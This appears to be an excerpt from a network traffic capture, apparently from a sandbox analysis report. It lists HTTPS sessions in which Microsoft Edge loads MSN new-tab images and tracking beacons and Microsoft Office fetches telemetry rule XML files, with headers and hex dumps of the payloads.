2024-11-11 11:40:29 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 11:40:29 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 16 Oct 2024 13:27:27 GMT X-Datacenter: westus X-ActivityId: e052a22a-abc6-4901-8eb3-22f69d832642 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=136104 Expires: Wed, 13 Nov 2024 01:28:53 GMT Date: Mon, 11 Nov 2024 11:40:29 GMT Connection: close
2024-11-11 11:40:29 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	49887	104.117.182.56	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:29 UTC	634	OUT	GET /tenant/amp/entityid/AA1t99ka.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 11:40:29 UTC	518	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1t99ka Last-Modified: Fri, 01 Nov 2024 18:01:14 GMT X-Source-Length: 20811 X-Datacenter: eastus X-ActivityId: ee99dc34-c4cc-40d2-beb4-909b60878009 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 20811 Cache-Control: public, max-age=368613 Expires: Fri, 15 Nov 2024 18:04:02 GMT Date: Mon, 11 Nov 2024 11:40:29 GMT Connection: close
2024-11-11 11:40:29 UTC	15866	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 90 00 00 01 90 08 02 00 00 00 0f dd a1 9b 00 00 0c 3e 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 10 20 80 80 94 d0 9b 20 22 25 80 94 10 5a 00 e9 45 b0 11 92 00 a1 c4 18 08 2a 76 74 51 c1 b5 8b 08 d8 d0 55 11 c5 0e 88 1d b1 b3 28 f6 be 58 50 50 d6 c5 82 5d 79 93 02 ba ee 2b df 9b 7c 33 f3 e7 9f 33 ff 39 73 ee dc 32 00 d0 4f f0 24 92 1c 54 13 80 5c 71 be 34 36 24 80 39 26 39 85 49 ea 02 28 a0 c2 df 50 40 e7 f1 f3 24 ec e8 e8 08 00 cb 40 ff f7 f2 ee 06 40 e4 fd 55 47 b9 d6 3f c7 ff 6b d1 12 08 f3 f8 00 20 d1 10 a7 09 f2 f8 b9 10 1f 00 00 af e2 4b a4 f9 00 10 e5 bc c5 94 7c 89 1c c3 0a 74 a4 30 40 88 17 ca 71 86 12 57 c9 71 9a 12 ef 51 d8 c4 c7 72 20 6e Data Ascii: PNGIHDR>iCCPICC ProfileHWXS[ "%ZE*vtQU(XPP]y+\|339s2O$T\q46$9&9I(P@$@@UG?k K\|t0@qWqQr n
2024-11-11 11:40:29 UTC	4945	IN	Data Raw: 3d f7 52 13 58 62 fb e9 21 5b 75 03 17 1c 54 6d 19 c9 a8 68 28 42 9d 72 18 59 2e 37 2a 0c 62 39 95 49 f4 d3 4f 3f dd 5c 95 c7 7f 5e 26 47 55 66 a3 ea 36 56 f1 51 09 75 c5 13 0a 63 96 51 3e 61 c6 4e 30 31 02 fb 25 ac ba ef f1 51 a3 42 71 d6 c4 60 4d d0 b4 22 a3 45 5b 46 7d 48 2d fb 24 ab b3 11 2c 12 46 4c d6 28 60 28 2f fd 89 ad 4e 3b ed b4 70 0a 37 30 5d 55 33 e8 8b ab f4 61 23 b0 4f 04 f6 4b 58 2e 2f c8 4a 25 4c 43 94 67 ef b3 5a 9d fd c0 11 18 09 68 2c 3c 41 d3 0e 86 ab 53 52 ba 3f f9 a6 85 af a7 7b ea 87 ad bc 55 63 45 55 e2 a9 dc ba b0 55 85 57 e3 55 5a 6e 04 0e 04 81 03 20 ac 72 d0 12 0e a4 66 5d c8 c1 22 50 bc b3 28 36 fa d0 96 53 95 ac 04 4a 67 05 4d 1e e7 99 a2 fa ae ef fa 2e 2f d3 58 05 2a c8 0a 49 b9 63 89 ac 13 61 49 46 40 5b 8b 77 92 17 17 ed Data Ascii: =RXb![uTmh(BrY.7b9IO?\^&GUf6VQucQ>aN01%QBq`M"E[F}H-$,FL(`(/N;p70]U3a#OKX./J%LCgZh,<ASR?{UcEUUWUZn rf]"P(6SJgM./XIcaIF@[w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	49890	18.238.49.99	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:29 UTC	1012	OUT	GET /b2?rn=1731325227261&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1817CCD1391B64C11978D9E5387965A3&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=17De4755cc9bde00e78767e1731325228; XID=17De4755cc9bde00e78767e1731325228
2024-11-11 11:40:29 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Mon, 11 Nov 2024 11:40:29 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 8fc65419aa2ed286fa0e10813748c49a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: BJnQAz3LFaN5L_S2ZsIP3og_xoTQ4B1_mcN6n3N5fuhxTluSxuxy2g==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	49878	40.79.167.8	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:29 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731325227259&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3718 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=1817CCD1391B64C11978D9E5387965A3; _EDGE_S=F=1&SID=1AA422DAB1436AD93F3837EEB0906B09; _EDGE_V=1
2024-11-11 11:40:29 UTC	3718	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 31 54 31 31 3a 34 30 3a 32 37 2e 32 35 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 66 31 30 39 33 33 32 2d 62 38 36 61 2d 34 38 32 63 2d 62 66 63 64 2d 38 38 62 65 61 34 34 37 63 33 62 65 22 2c 22 65 70 6f 63 68 22 3a 22 34 31 37 39 38 36 39 33 37 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-11T11:40:27.255Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"4f109332-b86a-482c-bfcd-88bea447c3be","epoch":"4179869379"},"app":{"locale
2024-11-11 11:40:29 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=61b10abff4874acd8b2f2b32e780535b&HASH=61b1&LV=202411&V=4&LU=1731325229811; Domain=.microsoft.com; Expires=Tue, 11 Nov 2025 11:40:29 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=37f9ae1894fd442c8108a197c71d3f05; Domain=.microsoft.com; Expires=Mon, 11 Nov 2024 12:10:29 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2552 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 11 Nov 2024 11:40:29 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	49889	13.107.246.40	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:29 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 11:40:29 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:29 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 85d0987b-001e-0045-3b1c-34b596000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241111T114029Z-174f7845968t42glhC1EWRa36w00000004r0000000000cas Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-11 11:40:29 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:29 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:29 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:29 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 1815edcd-001e-0028-0ed5-33c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114029Z-174f7845968j9dchhC1EWRfe7400000004p0000000007az2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:29 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:29 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:29 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:29 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 5ac3f5ac-801e-008f-14d5-332c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114029Z-174f7845968n2hr8hC1EWR9cag00000004m0000000002293 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:29 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:29 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:29 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:29 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 1c14dce3-c01e-0079-04d5-33e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114029Z-174f7845968n2hr8hC1EWR9cag00000004fg0000000073tu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:29 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:29 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:29 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:29 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 31c5e564-101e-008d-76d5-3392e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114029Z-174f7845968nnm4mhC1EWR1rn400000004r000000000a1s4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:29 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:29 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:29 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:29 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 1c14dccd-c01e-0079-70d5-33e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114029Z-174f78459684bddphC1EWRbht400000004kg0000000071sm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:29 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	49899	104.117.182.56	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
